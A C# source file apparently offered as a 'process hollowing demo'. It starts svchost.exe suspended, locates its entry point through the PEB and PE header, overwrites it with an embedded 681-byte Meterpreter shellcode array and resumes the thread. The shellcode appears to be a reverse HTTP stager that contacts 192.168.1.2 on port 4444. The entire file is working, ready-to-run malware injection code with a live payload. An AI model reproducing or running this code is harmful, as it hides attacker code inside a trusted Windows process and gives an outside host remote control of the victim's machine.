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ProcessHollowing.cs
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ProcessHollowing.cs
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using System;
using System.Runtime.InteropServices;
namespace ProcessHollowing {
class Program {
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[DllImport("ntdll.dll", SetLastError=true)]
private static extern UInt32 ZwQueryInformationProcess(
IntPtr hProcess,
int procInformationClass,
ref PROCESS_BASIC_INFORMATION procInformation,
UInt32 ProcInfoLen,
ref UInt32 retlen);
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
[Out] byte[] lpBuffer,
int dwSize,
out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
static void Main(string[] args) {
Console.WriteLine("--- Process Hollowing demo in C#, by S. Fariss ---\n\n");
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
Console.WriteLine("[+] Creating SUSPENDED process svchost.exe");
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
//bool res = CreateProcess(null, "C:\\Windows\\System32\\notepad.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebBaseAddress + 0x10);
Console.WriteLine("[+] PEB starts at 0x" + bi.PebBaseAddress.ToString("x"));
Console.WriteLine("[+] Located pointer to base image address in memory at 0x" + ptrToImageBase.ToString("x"));
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
Console.WriteLine("[+] Found base image address in memory at 0x" + svchostBase.ToString("x"));
Console.WriteLine("[+] Reading process memory and parsing PE Header");
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
Console.WriteLine("[+] Found address of EntryPoint at 0x" + addressOfEntryPoint.ToString("x"));
byte[] buf = new byte[681] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x56,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,
0x41,0x51,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,
0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0x50,0xe3,0x56,0x4d,0x31,0xc9,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0c,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,
0x32,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x00,0x00,0x4d,0x31,
0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,
0x00,0xff,0xd5,0xe8,0x82,0x00,0x00,0x00,0x2f,0x57,0x6e,0x72,0x49,0x6d,0x52,
0x34,0x6a,0x33,0x64,0x34,0x35,0x45,0x7a,0x67,0x52,0x57,0x5a,0x6b,0x72,0x43,
0x77,0x7a,0x44,0x53,0x73,0x55,0x34,0x54,0x46,0x62,0x61,0x32,0x38,0x4f,0x6c,
0x66,0x7a,0x64,0x76,0x52,0x63,0x62,0x61,0x6e,0x56,0x79,0x72,0x59,0x73,0x42,
0x6a,0x41,0x64,0x49,0x4d,0x59,0x6f,0x2d,0x71,0x4a,0x50,0x30,0x6e,0x75,0x39,
0x74,0x6a,0x33,0x41,0x50,0x4b,0x7a,0x64,0x30,0x65,0x4f,0x4b,0x59,0x73,0x44,
0x4c,0x6b,0x6d,0x74,0x37,0x66,0x30,0x32,0x6b,0x59,0x62,0x72,0x6c,0x4b,0x55,
0x61,0x36,0x71,0x6a,0x57,0x45,0x51,0x78,0x58,0x33,0x5f,0x64,0x62,0x39,0x52,
0x4e,0x66,0x56,0x70,0x66,0x4f,0x52,0x5a,0x74,0x75,0x43,0x62,0x47,0x56,0x62,
0x38,0x59,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,
0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,
0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,
0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,
0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,
0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,
0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,
0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,
0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,
0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,
0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,
0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,
0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,
0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,
0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
Console.WriteLine("[+] Writing meterpreter shellcode to EntryPoint");
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
Console.WriteLine("[+] Resuming main thread");
Console.WriteLine("[+] Successufully hollowed svchost.exe");
ResumeThread(pi.hThread);
}
}
}